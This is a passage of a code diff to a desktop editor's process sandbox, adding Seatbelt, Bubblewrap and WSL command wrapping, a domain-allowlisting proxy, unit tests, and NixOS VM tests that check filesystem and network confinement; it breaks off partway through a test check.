+            NetSetup::Restricted { .. } => macos_seatbelt::NetworkAccess::LocalhostPort(
+                proxy.as_ref().map(|(port, _)| *port).unwrap_or(0),
+            ),
+        };
+
+        let permissions = macos_seatbelt::SandboxPermissions {
+            network,
+            allow_fs_write: self.fs.allow_fs_write,
+        };
+        let (git_writable, git_protected) = self.git_path_split();
+        let mut writable: Vec<&Path> = self
+            .fs
+            .writable_paths
+            .iter()
+            .map(PathBuf::as_path)
+            .collect();
+        writable.extend(git_writable.iter().map(PathBuf::as_path));
+        let protected: Vec<&Path> = git_protected.iter().map(PathBuf::as_path).collect();
+
+        // SSH-agent socket handling (commit signing) is deferred, so no unix
+        // sockets are allowed for now.
+        let (program, args, config) = macos_seatbelt::wrap_invocation(
+            &command.program,
+            &command.args,
+            &writable,
+            &protected,
+            &[],
+            permissions,
+        )
+        .map_err(map_anyhow_error)?;
+        // Keep the temporary Seatbelt policy file alive for the command's life.
+        self.seatbelt_config = Some(config);
+
+        Ok(WrappedCommand {
+            program,
+            args,
+            env,
+            cwd: command.cwd.clone(),
+        })
+    }
+
+    #[cfg(target_os = "windows")]
+    async fn wrap_windows(
+        &mut self,
+        command: &CommandAndArgs,
+    ) -> Result<WrappedCommand, SandboxError> {
+        // Restricted host network access is rejected at `new` time on Windows.
+        // Git-dir protection isn't enforced for the WSL sandbox yet, so the
+        // policy's Git directories are intentionally ignored here.
+        let _ = self.git.git_dirs();
+        let permissions = windows_wsl::SandboxPermissions {
+            allow_network: matches!(self.network, NetSetup::Unrestricted),
+            allow_fs_write: self.fs.allow_fs_write,
+        };
+        let (program, args) = windows_wsl::wrap_invocation(
+            command.program.clone(),
+            command.args.clone(),
+            self.fs.writable_paths.clone(),
+            permissions,
+            command.cwd.clone(),
+            command.env.clone(),
+        )
+        .await
+        .map_err(map_anyhow_error)?;
+
+        Ok(WrappedCommand {
+            program,
+            args,
+            env: command.env.clone(),
+            cwd: command.cwd.clone(),
+        })
+    }
+}
+
+impl Drop for Sandbox {
+    fn drop(&mut self) {
+        // Dropping a `ProxyHandle` joins its listener thread after a loopback
+        // wakeup connect; do that off whatever (possibly UI) thread is dropping
+        // the sandbox so a slow shutdown can't stall it. Callers already on a
+        // background executor should prefer `drop_on_current_thread` to avoid
+        // this throwaway thread.
+        if let Some(proxy) = self.proxy.take() {
+            std::thread::spawn(move || drop(proxy));
+        }
+    }
+}
+
+/// Handle a possible re-exec of this binary as an in-sandbox helper.
 ///
-/// Call this at the very top of `main`, before any argument parsing.
+/// Linux restricted-network runs launch this binary in bridge mode inside the
+/// sandbox network namespace before spawning the real command. Call this at the
+/// top of `main`, before normal argument parsing.
+#[doc(hidden)]
 pub fn run_sandbox_launcher_if_invoked() {
     #[cfg(target_os = "linux")]
     linux_bubblewrap::run_launcher_if_invoked();
 }
 
+#[cfg(target_os = "linux")]
+fn policy_writable_paths(policy: &SandboxPolicy) -> Vec<PathBuf> {
+    match &policy.fs {
+        SandboxFsPolicy::Unrestricted => Vec::new(),
+        SandboxFsPolicy::Restricted { writable_paths } => writable_paths.clone(),
+    }
+}
+
+#[cfg(not(target_os = "windows"))]
+fn resolve_restricted_network(allowed_domains: &[String]) -> Result<NetSetup, SandboxError> {
+    let mut patterns = Vec::with_capacity(allowed_domains.len());
+    for domain in allowed_domains {
+        let pattern = HostPattern::parse(domain).map_err(|error| {
+            SandboxError::InvalidRequest(format!("invalid network host '{domain}': {error}"))
+        })?;
+        patterns.push(pattern);
+    }
+    Ok(NetSetup::Restricted {
+        allowlist: Allowlist::from_patterns(patterns),
+    })
+}
+
+#[cfg(target_os = "windows")]
+fn resolve_restricted_network(_allowed_domains: &[String]) -> Result<NetSetup, SandboxError> {
+    Err(unsupported_restricted_network_on_windows())
+}
+
+#[cfg(target_os = "windows")]
+fn unsupported_restricted_network_on_windows() -> SandboxError {
+    SandboxError::UnsupportedPolicy(
+        "restricted host network access is not yet supported for Windows sandboxes".to_string(),
+    )
+}
+
+#[cfg(target_os = "linux")]
+fn linux_probe_network(network: &SandboxNetPolicy) -> linux_bubblewrap::NetworkAccess {
+    match network {
+        SandboxNetPolicy::Unrestricted => linux_bubblewrap::NetworkAccess::All,
+        SandboxNetPolicy::Blocked => linux_bubblewrap::NetworkAccess::None,
+        // The probe only needs the network namespace flag, not a real port.
+        SandboxNetPolicy::Restricted { .. } => linux_bubblewrap::NetworkAccess::LocalhostPort(0),
+    }
+}
+
+#[cfg(not(target_os = "windows"))]
+fn upstream_proxy_from_env(env: &HashMap<String, String>) -> Option<UpstreamProxy> {
+    let url = first_nonempty_env_value(
+        env,
+        &[
+            "HTTPS_PROXY",
+            "https_proxy",
+            "ALL_PROXY",
+            "all_proxy",
+            "HTTP_PROXY",
+            "http_proxy",
+        ],
+    );
+    let no_proxy = first_nonempty_env_value(env, &["NO_PROXY", "no_proxy"]);
+    match UpstreamProxy::parse(url, no_proxy) {
+        Ok(upstream) => upstream,
+        Err(error) => {
+            log::warn!("[sandbox/network] ignoring upstream proxy env: {error:#}");
+            None
+        }
+    }
+}
+
+#[cfg(not(target_os = "windows"))]
+fn first_nonempty_env_value<'a>(
+    env: &'a HashMap<String, String>,
+    names: &[&str],
+) -> Option<&'a str> {
+    for name in names {
+        if let Some(value) = env.get(*name)
+            && !value.trim().is_empty()
+        {
+            return Some(value.as_str());
+        }
+    }
+    None
+}
+
+/// Point the child's proxy env vars at the in-process proxy and strip any
+/// inherited `NO_PROXY`.
+///
+/// Both upper- and lower-case forms are set because some clients (notably curl
+/// on macOS) only honor the lowercase variant. `NO_PROXY` is blanked so all
+/// egress goes through our proxy unconditionally: an inherited `NO_PROXY`
+/// matching an allowlisted host would make the client attempt a direct
+/// connection, which the sandbox blocks — surfacing as a confusing "connection
+/// refused" instead of a clean policy decision.
+#[cfg(not(target_os = "windows"))]
+fn apply_proxy_env(env: &mut HashMap<String, String>, port: u16) {
+    let url = format!("http://127.0.0.1:{port}");
+    for key in [
+        "HTTPS_PROXY",
+        "https_proxy",
+        "HTTP_PROXY",
+        "http_proxy",
+        "ALL_PROXY",
+        "all_proxy",
+    ] {
+        env.insert(key.to_string(), url.clone());
+    }
+    for key in ["NO_PROXY", "no_proxy"] {
+        env.insert(key.to_string(), String::new());
+    }
+}
+
+/// Drain the proxy's event channel on a background thread, logging each event.
+/// v1 surfacing only; future integrations (UI, telemetry) can replace this.
+/// The thread exits when the proxy is dropped and the channel closes.
+#[cfg(not(target_os = "windows"))]
+fn spawn_proxy_event_logger(events: futures::channel::mpsc::UnboundedReceiver<ProxyEvent>) {
+    std::thread::spawn(move || {
+        futures::executor::block_on(async move {
+            use futures::StreamExt as _;
+            let mut events = events;
+            while let Some(event) = events.next().await {
+                log_proxy_event(&event);
+            }
+        });
+    });
+}
+
+#[cfg(not(target_os = "windows"))]
+fn log_proxy_event(event: &ProxyEvent) {
+    match event {
+        ProxyEvent::Ready { .. } => {}
+        ProxyEvent::RequestAttempt {
+            host,
+            port,
+            method,
+            outcome,
+        } => {
+            log::debug!(
+                "[sandbox/network] {} {host}:{port} → {outcome:?}",
+                method.as_str()
+            );
+        }
+        ProxyEvent::RequestCompleted {
+            host,
+            port,
+            method,
+            bytes_to_remote,
+            bytes_from_remote,
+            duration_ms,
+        } => {
+            log::debug!(
+                "[sandbox/network] completed {} {host}:{port} sent={bytes_to_remote} recv={bytes_from_remote} duration={duration_ms}ms",
+                method.as_str(),
+            );
+        }
+    }
+}
+
+#[cfg(target_os = "linux")]
+fn map_linux_status(status: linux_bubblewrap::LauncherStatus) -> SandboxError {
+    match status {
+        linux_bubblewrap::LauncherStatus::BwrapNotFound => SandboxError::BwrapNotFound,
+        linux_bubblewrap::LauncherStatus::SetuidRejected => SandboxError::BwrapSetuidRejected,
+        linux_bubblewrap::LauncherStatus::SandboxProbeFailed => SandboxError::SandboxProbeFailed,
+    }
+}
+
+#[cfg(any(target_os = "linux", target_os = "macos", target_os = "windows"))]
+fn map_anyhow_error(error: anyhow::Error) -> SandboxError {
+    #[cfg(target_os = "windows")]
+    if let Some(error) = error.downcast_ref::<windows_wsl::WslSandboxUnavailable>() {
+        return SandboxError::WslUnavailable(error.to_string());
+    }
+
+    SandboxError::Other(format!("{error:#}"))
+}
+
+#[cfg(all(test, not(target_os = "windows")))]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn fs_merge_unrestricted_dominates_else_unions_paths() {
+        let a = SandboxFsPolicy::Restricted {
+            writable_paths: vec![PathBuf::from("/a"), PathBuf::from("/b")],
+        };
+        let b = SandboxFsPolicy::Restricted {
+            writable_paths: vec![PathBuf::from("/b"), PathBuf::from("/c")],
+        };
+        assert_eq!(
+            a.clone().merge(b),
+            SandboxFsPolicy::Restricted {
+                writable_paths: vec![
+                    PathBuf::from("/a"),
+                    PathBuf::from("/b"),
+                    PathBuf::from("/c")
+                ],
+            }
+        );
+        assert_eq!(
+            a.merge(SandboxFsPolicy::Unrestricted),
+            SandboxFsPolicy::Unrestricted
+        );
+        assert_eq!(
+            SandboxFsPolicy::Unrestricted.merge(SandboxFsPolicy::Restricted {
+                writable_paths: vec![PathBuf::from("/a")],
+            }),
+            SandboxFsPolicy::Unrestricted
+        );
+    }
+
+    #[test]
+    fn net_merge_unrestricted_dominates_blocked_is_identity_else_unions() {
+        let hosts = |list: &[&str]| SandboxNetPolicy::Restricted {
+            allowed_domains: list.iter().map(|s| s.to_string()).collect(),
+        };
+        assert_eq!(
+            hosts(&["a.com", "b.com"]).merge(hosts(&["b.com", "c.com"])),
+            hosts(&["a.com", "b.com", "c.com"])
+        );
+        assert_eq!(
+            SandboxNetPolicy::Blocked.merge(hosts(&["a.com"])),
+            hosts(&["a.com"])
+        );
+        assert_eq!(
+            hosts(&["a.com"]).merge(SandboxNetPolicy::Blocked),
+            hosts(&["a.com"])
+        );
+        assert_eq!(
+            SandboxNetPolicy::Blocked.merge(SandboxNetPolicy::Blocked),
+            SandboxNetPolicy::Blocked
+        );
+        assert_eq!(
+            hosts(&["a.com"]).merge(SandboxNetPolicy::Unrestricted),
+            SandboxNetPolicy::Unrestricted
+        );
+    }
+
+    #[test]
+    fn upstream_proxy_from_env_uses_precedence_and_no_proxy() {
+        let mut env = HashMap::new();
+        env.insert("HTTPS_PROXY".to_string(), " ".to_string());
+        env.insert("https_proxy".to_string(), "http://lower:1111".to_string());
+        env.insert("ALL_PROXY".to_string(), "http://all:2222".to_string());
+        env.insert("HTTP_PROXY".to_string(), "http://http:3333".to_string());
+        env.insert("NO_PROXY".to_string(), "".to_string());
+        env.insert("no_proxy".to_string(), "internal.example".to_string());
+
+        let upstream = upstream_proxy_from_env(&env).expect("should configure an upstream");
+        assert_eq!(upstream.host, "lower");
+        assert_eq!(upstream.port, 1111);
+        assert!(upstream.bypasses("internal.example", 443));
+        assert!(!upstream.bypasses("zed.dev", 443));
+    }
+
+    #[test]
+    fn apply_proxy_env_points_vars_at_proxy_and_blanks_no_proxy() {
+        let mut env = HashMap::new();
+        env.insert("HTTPS_PROXY".to_string(), "http://corp:3128".to_string());
+        env.insert("NO_PROXY".to_string(), "internal.example".to_string());
+        env.insert("PATH".to_string(), "/usr/bin".to_string());
+
+        apply_proxy_env(&mut env, 54321);
+
+        for key in [
+            "HTTPS_PROXY",
+            "https_proxy",
+            "HTTP_PROXY",
+            "http_proxy",
+            "ALL_PROXY",
+            "all_proxy",
+        ] {
+            assert_eq!(
+                env.get(key).map(String::as_str),
+                Some("http://127.0.0.1:54321")
+            );
+        }
+        for key in ["NO_PROXY", "no_proxy"] {
+            assert_eq!(env.get(key).map(String::as_str), Some(""));
+        }
+        assert_eq!(env.get("PATH").map(String::as_str), Some("/usr/bin"));
+    }
+}
+
 /// Canonicalize `path`, resolving symlinks, even when its final component
 /// doesn't exist yet.
 ///
@@ -84,7 +959,11 @@ pub fn run_sandbox_launcher_if_invoked() {
 /// existing parent and re-appending the final component keeps the child
 /// consistent with its parent. If neither the path nor its parent can be
 /// canonicalized, the path is returned unchanged.
-#[cfg(any(target_os = "linux", target_os = "macos"))]
+//
+// Only the macOS Seatbelt layer uses this (Linux skips not-yet-existing `.git`
+// dirs rather than emitting a rule for them), so it's gated to macOS to avoid a
+// dead-code warning elsewhere.
+#[cfg(target_os = "macos")]
 pub(crate) fn canonicalize_allowing_missing_leaf(path: &std::path::Path) -> std::path::PathBuf {
     if let Ok(canonical) = path.canonicalize() {
         return canonical;
@@ -97,8 +976,8 @@ pub(crate) fn canonicalize_allowing_missing_leaf(path: &std::path::Path) -> std:
     path.to_path_buf()
 }
 
-#[cfg(all(test, any(target_os = "linux", target_os = "macos")))]
-mod tests {
+#[cfg(all(test, target_os = "macos"))]
+mod macos_tests {
     use super::canonicalize_allowing_missing_leaf;
 
     #[test]
diff --git a/crates/sandbox/src/windows_wsl.rs b/crates/sandbox/src/windows_wsl.rs
index 50beab807a626f..e1254d40adb25c 100644
--- a/crates/sandbox/src/windows_wsl.rs
+++ b/crates/sandbox/src/windows_wsl.rs
@@ -32,7 +32,16 @@ use smol::process::{Command, Stdio};
 
 use anyhow::{Context as _, Result, bail, ensure};
 
-use crate::{SandboxPermissions, WSL_SANDBOX_UNAVAILABLE_PREFIX};
+use crate::WSL_SANDBOX_UNAVAILABLE_PREFIX;
+
+/// Per-command relaxations of the WSL/Bubblewrap sandbox. Windows can only
+/// toggle network access wholesale (no loopback-proxy confinement yet), so this
+/// is a plain bool rather than the richer cross-platform [`crate::SandboxNetPolicy`].
+#[derive(Clone, Copy, Debug, Default, Eq, PartialEq)]
+pub(crate) struct SandboxPermissions {
+    pub(crate) allow_network: bool,
+    pub(crate) allow_fs_write: bool,
+}
 
 /// Exit code the environment probe script uses to signal that `bwrap` is not
 /// installed, distinguishing that from WSL itself failing to start a shell.
@@ -68,6 +77,7 @@ impl WslSandboxUnavailable {
     }
 
     /// The reason, without the leading [`WSL_SANDBOX_UNAVAILABLE_PREFIX`].
+    #[cfg(test)]
     pub fn message(&self) -> &str {
         &self.0
     }
diff --git a/crates/sandbox/src/wsl_sandbox_test_helper.rs b/crates/sandbox/src/wsl_sandbox_test_helper.rs
index 5fa13cb2280dac..b4fab4cbcd24ff 100644
--- a/crates/sandbox/src/wsl_sandbox_test_helper.rs
+++ b/crates/sandbox/src/wsl_sandbox_test_helper.rs
@@ -4,8 +4,8 @@
 //! Where the Linux helper is the sandboxed process itself (it re-execs under
 //! the launcher), here the sandboxed process is a *Linux* program inside WSL
 //! while this helper runs on Windows. So instead of a status channel and a
-//! launcher, the helper drives the real [`sandbox::windows_wsl::wrap_invocation`],
-//! spawns the `wsl.exe` command line it produces, and inspects exit codes and
+//! launcher, the helper drives the real [`sandbox::Sandbox`] (`new` + `wrap`),
+//! spawns the command line it produces, and inspects exit codes and
 //! host-side filesystem effects to confirm every grant the sandbox makes and
 //! every restriction it imposes actually holds — including the Windows-specific
 //! one: that a sandboxed process cannot escape via WSL interop by exec'ing a
@@ -47,8 +47,28 @@ mod imp {
     use std::process::{Command, Output};
 
     use anyhow::{Context as _, Result, bail, ensure};
-    use sandbox::SandboxPermissions;
-    use sandbox::windows_wsl;
+    use sandbox::{
+        CommandAndArgs, GitSandboxPolicy, Sandbox, SandboxError, SandboxFsPolicy, SandboxNetPolicy,
+        SandboxPolicy,
+    };
+
+    /// Network access for a helper run, translated into a `SandboxNetPolicy` in
+    /// `drive_sandbox`. Only the all-or-nothing cases the helper exercises are
+    /// represented.
+    #[derive(Clone, Copy, Default)]
+    enum NetworkAccess {
+        #[default]
+        None,
+        All,
+    }
+
+    /// The per-run permission knobs the helper varies, translated into a
+    /// `SandboxPolicy` in `drive_sandbox`.
+    #[derive(Clone, Copy, Default)]
+    struct SandboxPermissions {
+        network: NetworkAccess,
+        allow_fs_write: bool,
+    }
 
     /// Tag prefixed to every result line, matching `bwrap_test_helper` so both
     /// helpers' output reads the same.
@@ -144,11 +164,11 @@ mod imp {
 
         let default = SandboxPermissions::default();
         let fs_write_all = SandboxPermissions {
-            allow_network: false,
+            network: NetworkAccess::None,
             allow_fs_write: true,
         };
         let network_allowed = SandboxPermissions {
-            allow_network: true,
+            network: NetworkAccess::All,
             allow_fs_write: false,
         };
 
@@ -488,31 +508,42 @@ mod imp {
         permissions: SandboxPermissions,
         env: &HashMap<String, String>,
     ) -> Result<Outcome> {
-        let wrapped = smol::block_on(windows_wsl::wrap_invocation(
-            program.to_string(),
-            args.iter().map(|arg| arg.to_string()).collect(),
-            writable_paths.to_vec(),
-            permissions,
-            None,
-            env.clone(),
-        ));
+        let policy = SandboxPolicy {
+            fs: if permissions.allow_fs_write {
+                SandboxFsPolicy::Unrestricted
+            } else {
+                SandboxFsPolicy::Restricted {
+                    writable_paths: writable_paths.to_vec(),
+                }
+            },
+            network: match permissions.network {
+                NetworkAccess::None => SandboxNetPolicy::Blocked,
+                NetworkAccess::All => SandboxNetPolicy::Unrestricted,
+            },
+            git: GitSandboxPolicy::default(),
+        };
+        let command = CommandAndArgs {
+            program: program.to_string(),
+            args: args.iter().map(|arg| arg.to_string()).collect(),
+            env: env.clone(),
+            cwd: None,
+        };
+        let prepared =
+            Sandbox::new(policy).and_then(|mut sandbox| smol::block_on(sandbox.wrap(&command)));
 
-        let (wsl_exe, wsl_args) = match wrapped {
-            Ok(wrapped) => wrapped,
+        let prepared = match prepared {
+            Ok(prepared) => prepared,
             Err(error) => {
-                let message = format!("{error:#}");
-                return Ok(
-                    if message.contains(sandbox::WSL_SANDBOX_UNAVAILABLE_PREFIX) {
-                        Outcome::Unavailable(message)
-                    } else {
-                        Outcome::BadRequest(message)
-                    },
-                );
+                let message = error.to_string();
+                return Ok(match error {
+                    SandboxError::WslUnavailable(_) => Outcome::Unavailable(message),
+                    _ => Outcome::BadRequest(message),
+                });
             }
         };
 
-        let output = Command::new(&wsl_exe)
-            .args(&wsl_args)
+        let output = Command::new(&prepared.program)
+            .args(&prepared.args)
             .creation_flags(CREATE_NO_WINDOW)
             .output()
             .context("failed to spawn the wrapped wsl.exe sandbox command")?;
diff --git a/crates/zed/src/main.rs b/crates/zed/src/main.rs
index 6af0fa1b06b656..b23f0774ad43bd 100644
--- a/crates/zed/src/main.rs
+++ b/crates/zed/src/main.rs
@@ -202,11 +202,10 @@ static STARTUP_TIME: OnceLock<Instant> = OnceLock::new();
 fn main() {
     STARTUP_TIME.get_or_init(|| Instant::now());
 
-    // If this process was re-executed as a sandbox launcher (Linux
-    // bwrap/seccomp), install the seccomp policy and exec the wrapped command
-    // without returning. Must run before argument parsing: the wrapped
-    // command's args are appended verbatim and would otherwise be
-    // misinterpreted as Zed's own arguments.
+    // If this process was re-executed as a Linux sandbox helper, run that mode
+    // without returning. Must run before argument parsing: the wrapped command's
+    // args are appended verbatim and would otherwise be misinterpreted as Zed's
+    // own arguments.
     sandbox::run_sandbox_launcher_if_invoked();
 
     #[cfg(unix)]
diff --git a/crates/zed/src/visual_test_runner.rs b/crates/zed/src/visual_test_runner.rs
index 668b1fc514c16e..ee9b0ec2d55512 100644
--- a/crates/zed/src/visual_test_runner.rs
+++ b/crates/zed/src/visual_test_runner.rs
@@ -2739,6 +2739,7 @@ fn run_multi_workspace_sidebar_visual_tests(
                             ui_scroll_position: None,
                             draft_prompt: None,
                             sandboxed_terminal_temp_dir: None,
+                            sandbox_grants: Default::default(),
                         },
                         path_list,
                         cx,
diff --git a/nix/tests/sandboxing/default.nix b/nix/tests/sandboxing/default.nix
index f97336d317be90..22eaf10357bce6 100644
--- a/nix/tests/sandboxing/default.nix
+++ b/nix/tests/sandboxing/default.nix
@@ -1,30 +1,45 @@
 # NixOS VM tests for the Linux Bubblewrap (`bwrap`) sandbox.
 #
-# Unlike the old Landlock tests, bwrap's filesystem isolation does not scale
-# with the kernel ABI: any kernel with unprivileged user namespaces gives the
-# same guarantees. So instead of a kernel matrix we keep scenarios that capture
-# the cases that actually change behavior:
+# What actually changes the sandbox's behavior is the *host configuration* —
+# whether a usable `bwrap` exists and whether the kernel lets us create user
+# namespaces. We can only set those at boot, which is exactly what a VM gives
+# us. So we run one machine per host configuration:
 #
-#   sandbox-userns-enabled  - bwrap present and unprivileged user namespaces
-#                             available; the sandbox must be enforced. The helper
-#                             asserts every grant the sandbox makes and every
-#                             restriction it imposes.
-#   sandbox-userns-disabled - bwrap present but user namespaces disabled via
-#                             sysctl; the launcher must report SandboxProbeFailed
-#                             and degrade to an unsandboxed run.
-#   sandbox-no-bwrap        - no bwrap on PATH at all; the launcher must report
-#                             BwrapNotFound and degrade. This mirrors a machine
-#                             where the sandboxing feature is enabled but bwrap
-#                             simply isn't installed.
+#   working          - `bwrap` present, unprivileged user namespaces available;
+#                      the sandbox must be enforced.
+#   no-bwrap         - no `bwrap` on PATH; `Sandbox::can_create` must report
+#                      `BwrapNotFound` and the consumer must fail closed.
+#   setuid-bwrap     - the only `bwrap` is setuid-root; `can_create` must report
+#                      `BwrapSetuidRejected` (we refuse to run setuid bwrap).
+#   userns-disabled  - `bwrap` present but unprivileged user namespaces are
+#                      disabled via sysctl; `can_create` must report
+#                      `SandboxProbeFailed`.
 #
-# The point of a VM is that whether bwrap can enforce a sandbox depends on
-# kernel configuration we can only set at boot. A second node runs a TCP echo
-# server so network isolation can be exercised against a real peer.
+# The behavior to assert is declared *here* as a list of `checks`, serialized to
+# JSON and handed to the `bwrap_test_helper` binary, which builds the described
+# sandbox policy via the sandbox crate's public API, performs the operation, and
+# asserts the outcome. Each check is one of:
+#
+#   { read = "/path"; succeeds = true; }          # read a host file
+#   { write = "/path"; succeeds = false; }        # write a host file
+#   { network = "echo1"; succeeds = true; }       # connect to an echo server
+#   { canCreate = false; error = "bwrap_not_found"; }   # Sandbox::can_create
+#
+# plus optional policy fields applied to that check (defaults shown):
+#
+#   fs = "restricted";          # or "unrestricted"
+#   writablePaths = [ ];        # writable subtrees when fs = "restricted"
+#   networkAccess = "blocked";  # or "unrestricted" / "restricted"
+#   allowedDomains = [ ];       # allowed hosts when networkAccess = "restricted"
+#
+# Two echo servers (`echo1`, `echo2`) on separate nodes give the network checks
+# real peers, so a restricted-network policy that allowlists `echo1` can be
+# shown to reach `echo1` while `echo2` is blocked.
 #
 # Build one scenario:
-#   nix build .#checks.x86_64-linux.sandbox-userns-enabled
+#   nix build .#checks.x86_64-linux.sandbox-working
 # Interactive:
-#   nix run .#checks.x86_64-linux.sandbox-userns-enabled.driverInteractive
+#   nix run .#checks.x86_64-linux.sandbox-working.driverInteractive
 {
   pkgs,
   inputs,
@@ -34,113 +49,256 @@ let
 
   bwrap-test-helper = import ./helper.nix { inherit pkgs inputs; };
 
+  # Both echo nodes listen on the same port; the helper appends it to a bare
+  # hostname (`echo1` -> `echo1:7000`).
   echoPort = 7000;
 
+  # A node running a raw TCP echo server (socat EXEC:cat). The helper round-trips
+  # a byte through it, directly or via the sandbox's HTTP CONNECT proxy.
+  mkEchoNode = {
+    networking.firewall.allowedTCPPorts = [ echoPort ];
+    systemd.services.echo-server = {
+      description = "TCP echo server";
+      wantedBy = [ "multi-user.target" ];
+      after = [ "network.target" ];
+      serviceConfig = {
+        ExecStart = "${pkgs.socat}/bin/socat -d TCP-LISTEN:${toString echoPort},reuseaddr,fork EXEC:cat";
+        DynamicUser = true;
+        Restart = "on-failure";
+      };
+    };
+  };
+
+  # Quiet boot + a couple of cores; shared by every machine-under-test.
+  baseMachine = {
+    boot.consoleLogLevel = lib.mkForce 3; # be quiet pls :)
+    services.journald.extraConfig = lib.mkAfter "MaxLevelConsole=notice";
+    environment.systemPackages = [ bwrap-test-helper ];
+    virtualisation = {
+      memorySize = 1024;
+      cores = 2;
+    };
+  };
+
+  # Per-scenario host configuration. Each entry layers onto `baseMachine`.
+  machineConfigs = {
+    # Plain, working host: bwrap on PATH, user namespaces available.
+    working =
+      { ... }:
+      lib.mkMerge [
+        baseMachine
+        { environment.systemPackages = [ pkgs.bubblewrap ]; }
+      ];
+
+    # No bwrap anywhere on PATH.
+    no-bwrap = { ... }: baseMachine;
+
+    # The only bwrap is a setuid-root wrapper. We deliberately do NOT also put a
+    # plain `pkgs.bubblewrap` on PATH: `locate_bwrap` returns the first `bwrap`
+    # it finds on PATH, and we want that to be the setuid one so the helper sees
+    # `BwrapSetuidRejected`.
+    setuid-bwrap =
+      { ... }:
+      lib.mkMerge [
+        baseMachine
+        {
+          security.wrappers.bwrap = {
+            source = "${pkgs.bubblewrap}/bin/bwrap";
+            owner = "root";
+            group = "root";
+            setuid = true;
+          };
+        }
+      ];
+
+    # bwrap present, but unprivileged user namespaces disabled at boot. Capping
+    # the count at 0 makes `bwrap --unshare-user` fail, exactly like a hardened
+    # host, so the probe reports `SandboxProbeFailed`.
+    userns-disabled =
+      { ... }:
+      lib.mkMerge [
+        baseMachine
+        {
+          environment.systemPackages = [ pkgs.bubblewrap ];
+          boot.kernel.sysctl."user.max_user_namespaces" = 0;
+        }
+      ];
+  };
+
+  # Build a VM test for `machine` that runs `checks` through the helper.
   mkTest =
     {
       name,
-      # Whether a `bwrap` binary is on the machine's PATH.
-      installBwrap ? true,
-      # Whether to disable unprivileged user namespaces at boot.
-      usernsDisabled ? false,
-      # For degraded scenarios, the exact status the launcher should report.
-      expectedDegradeStatus ? null,
+      machine,
+      checks,
     }:
     let
-      # The sandbox is only actually enforced when bwrap is present *and* user
-      # namespaces are available.
-      enforced = installBwrap && !usernsDisabled;
+      checksFile = pkgs.writeText "${name}-checks.json" (builtins.toJSON checks);
     in
     pkgs.testers.nixosTest {
       inherit name;
 
       nodes = {
-        # TCP echo server, so the network checks have a real peer to (fail to)
-        # reach from inside the sandbox.
-        echo =
-          { pkgs, ... }:
-          {
-            networking.firewall.allowedTCPPorts = [ echoPort ];
-            systemd.services.echo-server = {
-              description = "TCP echo server";
-              wantedBy = [ "multi-user.target" ];
-              after = [ "network.target" ];
-              serviceConfig = {
-                ExecStart = "${pkgs.socat}/bin/socat -d TCP-LISTEN:${toString echoPort},reuseaddr,fork EXEC:cat";
-                DynamicUser = true;
-                Restart = "on-failure";
-              };
-            };
-          };
-
-        # The machine under test.
-        machine =
-          { ... }:
-          {
-            boot.consoleLogLevel = lib.mkForce 3; # be quiet pls :)
-            services.journald.extraConfig = lib.mkAfter "MaxLevelConsole=notice";
-
-            # Disable unprivileged user namespaces for the degradation scenario.
-            # Capping the count at 0 makes `bwrap --unshare-user` fail, which is
-            # exactly what a hardened host looks like.
-            boot.kernel.sysctl = lib.mkIf usernsDisabled {
-              "user.max_user_namespaces" = 0;
-            };
-
-            # `bwrap` itself (the helper locates it on PATH) plus the helper.
-            # The no-bwrap scenario deliberately omits bubblewrap.
-            environment.systemPackages = [
-              bwrap-test-helper
-            ]
-            ++ lib.optionals installBwrap [ pkgs.bubblewrap ];
-
-            # The helper reads its expectations from the environment; setting
-            # them here means `machine.execute` picks them up via /etc/profile.
-            environment.variables = {
-              ZED_TEST_SANDBOX_ENFORCED = if enforced then "1" else "0";
-              ZED_TEST_ECHO_ADDR = "echo:${toString echoPort}";
-            }
-            // lib.optionalAttrs (expectedDegradeStatus != null) {
-              ZED_TEST_EXPECTED_DEGRADE_STATUS = expectedDegradeStatus;
-            };
-
-            virtualisation = {
-              memorySize = 1024;
-              cores = 2;
-            };
-          };
+        echo1 = { ... }: mkEchoNode;
+        echo2 = { ... }: mkEchoNode;
+        machine = machine;
       };
 
       testScript = ''
         start_all()
 
-        echo.wait_for_unit("echo-server.service")
-        echo.wait_for_open_port(${toString echoPort})
+        echo1.wait_for_unit("echo-server.service")
+        echo1.wait_for_open_port(${toString echoPort})
+        echo2.wait_for_unit("echo-server.service")
+        echo2.wait_for_open_port(${toString echoPort})
 
         machine.wait_for_unit("multi-user.target")
-        machine.wait_until_succeeds("getent hosts echo", timeout=30)
+        machine.wait_until_succeeds("getent hosts echo1", timeout=30)
+        machine.wait_until_succeeds("getent hosts echo2", timeout=30)
 
-        # The helper logs each check to stdout/stderr tagged `[sandbox_test]:`,
-        # which the test backdoor wires to the serial console, so the lines
-        # appear inline in this log. `succeed` fails the test on a non-zero exit.
-        machine.succeed("bwrap_test_helper")
+        # The helper logs each check tagged `[sandbox_test]:`. `succeed` fails the
+        # whole test on a non-zero exit; we print its output so the per-check
+        # results show up in the build log.
+        print(machine.succeed(
+            "ZED_SANDBOX_CHECKS=${checksFile} "
+            "ZED_TEST_ECHO_PORT=${toString echoPort} "
+            "bwrap_test_helper 2>&1"
+        ))
       '';
     };
+
 in
 {
-  sandbox-userns-enabled = mkTest {
-    name = "sandbox-userns-enabled";
-  };
+  sandbox-working = mkTest {
+    name = "sandbox-working";
+    machine = machineConfigs.working;
+    # Each check is written out in full (no shared fragments) so the policy and
+    # expected outcome for every case are obvious at a glance.
+    checks = [
+      # Reads of host files are always allowed, regardless of the write policy.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "blocked";
+        read = "/sandbox-test/readable/host.txt";
+        succeeds = true;
+      }
 
-  sandbox-userns-disabled = mkTest {
-    name = "sandbox-userns-disabled";
-    usernsDisabled = true;
-    expectedDegradeStatus = "probe_failed";
+      # Write inside the granted subtree: allowed.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/writable/ok.txt";
+        succeeds = true;
+      }
+
+      # Write outside the granted subtree: denied.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/forbidden/no.txt";
+        succeeds = false;
+      }
+
+      # A writable path that doesn't exist yet must be bound at its exact
+      # location (created up front), never widened to an existing ancestor. If it
+      # widened to `/sandbox-test`, this write to a read-only file under that
+      # ancestor would succeed — the scope-widening sandbox escape this guards
+      # against. It must be denied.
+      {
